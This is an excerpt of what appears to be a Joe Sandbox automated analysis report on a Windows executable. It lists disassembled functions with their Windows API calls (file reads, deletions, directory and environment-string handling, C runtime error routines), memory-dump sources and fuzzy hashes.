Instruction ID: 6b40bdca6a02cd8c303c1b1c800ac92429027f894e9b325ac65d5e69f4ab0667
Opcode Fuzzy Hash: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction Fuzzy Hash: 0CD01272911104EBD711AB49D842BDEBB68EB8135DF10853BF00171550C37D56459569

Function 00405B7B Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(000000FF,00000000,?,?,00000000,000000FF,?,00405BC6,00000000,?,00000000,?,00405BEC,00000000,?,00000000), ref: 00405B91

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction ID: c5e24743f6b433bb21cc94cc2971fe47eb8403274bd7f90fdb54931116458873
Opcode Fuzzy Hash: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction Fuzzy Hash: 7EE0EC75241208FBCB01CF90CD01FCE7BB9EB49754F208058E90596160D375AA14EB54

Function 0040551A Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction ID: 986561ebb0227da743eeb2b9ec995cdcc659c9848a972ac8d271436d9e92df52
Opcode Fuzzy Hash: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction Fuzzy Hash: 6BD0123150452166CF745E3C7C459C333D99A123B03660BAAF4B4D32E5D3748CC35AD4

Function 00405A63 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,00405A2C,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A6E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction ID: 8a38a6d9813b312501c47e0c29c9a2f8cf12ac5fa7676fc4773f80372e0f1af5
Opcode Fuzzy Hash: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction Fuzzy Hash: 5CD0C93160462146CA645E3C7C849D737D89A16330325176AF0B5D22E4D3748D875E94

Function 00404BDC Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

DeleteFileA.KERNELBASE(?,?,00404DBF,?,00000000,?,?,?,?,?,00000000), ref: 00404BED

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction ID: 9a45e8f854b003a178289988cc7fc064ae5902da4cc88310474d582750e90668
Opcode Fuzzy Hash: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction Fuzzy Hash: 0BC08C26209231439A043ABA3805ACB171E0EC122030AC0BBB800A2059CB288DC221DC

Function 00405C5A Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,00405C84,00000000,00000000,?,00402E12,?), ref: 00405C68

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction ID: 87fe90df0bd66b56430cb58ce5188ab21e49bedd0782b4bf3c7b48ca6ef22eff
Opcode Fuzzy Hash: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction Fuzzy Hash: 8EC04C36158105FF8F020F70CC04C5EBFA2EB99711F10C918B269C40B0C7328024EB02

Function 0040489C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction ID: c0231da6564a4fbd22ddd4f059f5cfeb57e5ba4ab4dd36146b68eeddd1056acd
Opcode Fuzzy Hash: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction Fuzzy Hash: 5BA002A03112059BA6145B315E0AB6F296DEDC9AE1705C56C7412C5060EB29C9505565

Function 0040498D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction ID: 18df801fa9cda183c38834b8287032c54ef98b8f5de1dc60049a64e9909c76fe
Opcode Fuzzy Hash: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction Fuzzy Hash: DCA0223030030283E2200F320E0AB0F280CAF08AC0F00C02C3000C80E0FB28C000008C

Function 004048AA Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

RemoveDirectoryA.KERNELBASE(?,00404D27,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 004048AB

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
Instruction ID: 8a2519b774f471bade5b05e48f192836a719b77eeaa2736f11b150acbb720719
Opcode Fuzzy Hash: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
Instruction Fuzzy Hash: E7A002603112058796241B315F0968F295D9D455D1706C5696516C4060DB29C5505555

Non-executed Functions

Function 00417836 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 004178A3
GetStdHandle.KERNEL32(000000F4,0041BD2C,00000000,00000000,00000000,?), ref: 00417979
WriteFile.KERNEL32(00000000), ref: 00417980

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0041794F
X*B, xrefs: 00417844
..., xrefs: 004178F5
<program name unknown>, xrefs: 004178B3
Runtime Error!Program: , xrefs: 00417909
*B, xrefs: 00417851

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $X*B$*B
API String ID: 3784150691-2787626558
Opcode ID: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction ID: 83e6cc08efc147308ddc610541e3e7ace00831554afff49654370310fabd765f
Opcode Fuzzy Hash: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction Fuzzy Hash: 6E310472A00218AFEF20E660DD45FDA737DEB45344F5000ABF544D6140EBBCAAC58BAD

Function 00418320 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041795A,?,Microsoft Visual C++ Runtime Library,00012010,?,0041BD2C,?,0041BD7C,?,?,?,Runtime Error!Program: ), ref: 00418332
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041834A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041835B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00418368

Strings

GetLastActivePopup, xrefs: 0041835D
MessageBoxA, xrefs: 00418344
GetActiveWindow, xrefs: 00418355
user32.dll, xrefs: 0041832D

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction ID: e87ed1bb16eb8be6f8b96595097180185a60ce52c98033cfd4ddfb8cddd90555
Opcode Fuzzy Hash: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction Fuzzy Hash: C50179713002057F87209FB59C80A9B7AF4EB44B45318003EB558C3251DB6DCFC29BE9

Function 0041881D Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0041BDF8,00000001,00000000,00000000,7622E860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 0041885F
LCMapStringA.KERNEL32(00000000,00000100,0041BDF4,00000001,00000000,00000000,?,?,004186BE,?,?,?,00000000,00000001), ref: 0041887B
LCMapStringA.KERNEL32(?,?,?,004186BE,?,?,7622E860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188C4
MultiByteToWideChar.KERNEL32(?,004256C5,?,004186BE,00000000,00000000,7622E860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188FC
MultiByteToWideChar.KERNEL32(00000000,00000001,?,004186BE,?,00000000,?,?,004186BE,?), ref: 00418954
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,004186BE,?), ref: 0041896A
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,004186BE,?), ref: 0041899D
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,004186BE,?), ref: 00418A05

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction ID: 3960beb12fca16cbc5043acf4b8975ab8d8a6698fa07e30ad5f7fd63c5f4fb56
Opcode Fuzzy Hash: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction Fuzzy Hash: 14517B71900209EFCF228F95CC45AEF7FB5FF48794F10452AF918A1260C7398991DBAA

Function 0041750F Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041752A
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041753E
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041756A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175A2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175C4
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175DD
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 004175F0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041762E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction ID: 0d29547afa55ef8e208fbe3ff43deda8167c9cf171b961166aceb77faed46397
Opcode Fuzzy Hash: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction Fuzzy Hash: 4A31ADB250D3157ED7207F799C848FBBABDEA49368B11053BF555C3200EA298DC286AD

Function 00418A6C Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0041BDF8,00000001,?,7622E860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AAB
GetStringTypeA.KERNEL32(00000000,00000001,0041BDF4,00000001,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AC5
GetStringTypeA.KERNEL32(?,?,?,?,004186BE,7622E860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AF9
MultiByteToWideChar.KERNEL32(?,004256C5,?,?,00000000,00000000,7622E860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418B31
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,004186BE,?), ref: 00418B87
GetStringTypeW.KERNEL32(?,?,00000000,004186BE,?,?,?,?,?,?,004186BE,?), ref: 00418B99

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction ID: e288f18e772608454304c6360a88be647065f5ca3cb36798b5d5ed4d75a3f5a0
Opcode Fuzzy Hash: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction Fuzzy Hash: B0416DB2600219BFCF208F94DC86EEF7F79EB08794F10442AF915D2250D7389991CBA8

Function 004158B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 004158CF
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00415904
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00415964

Strings

__MSVCRT_HEAP_SELECT, xrefs: 004158FF
__GLOBAL_HEAP_SELECTED, xrefs: 0041593E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction ID: 007b09a40ac423c1d447adb87a92c2e34be193f5817f586218815b66d4303cb2
Opcode Fuzzy Hash: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction Fuzzy Hash: 403177F1961648EDEF3196709C82BDF3B78DB46324F2400DBD185D6242E6388EC68B1B

Function 00417641 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0041769F
GetFileType.KERNEL32(?,?,00000000), ref: 0041774A
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 004177AD
GetFileType.KERNEL32(00000000,?,00000000), ref: 004177BB
SetHandleCount.KERNEL32 ref: 004177F2

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction ID: 1521dec5194d53324a877df202082dadc936f581ec6971422c000dc394b087b4
Opcode Fuzzy Hash: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction Fuzzy Hash: 39510B716086458FC7208B28D8847A67BB0FB11378F65866ED5B2C72E0D738A886C759

Function 00403AA7 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

CharUpperW.USER32(00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AC2
GetLastError.KERNEL32(?,00000000,00000000,?,00403B6F), ref: 00403ACE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AE9
CharUpperA.USER32(?,?,00000000,00000000,?,00403B6F), ref: 00403B02
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001,?,00000000,00000000,?,00403B6F), ref: 00403B15

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Char$ByteMultiUpperWide$ErrorLast
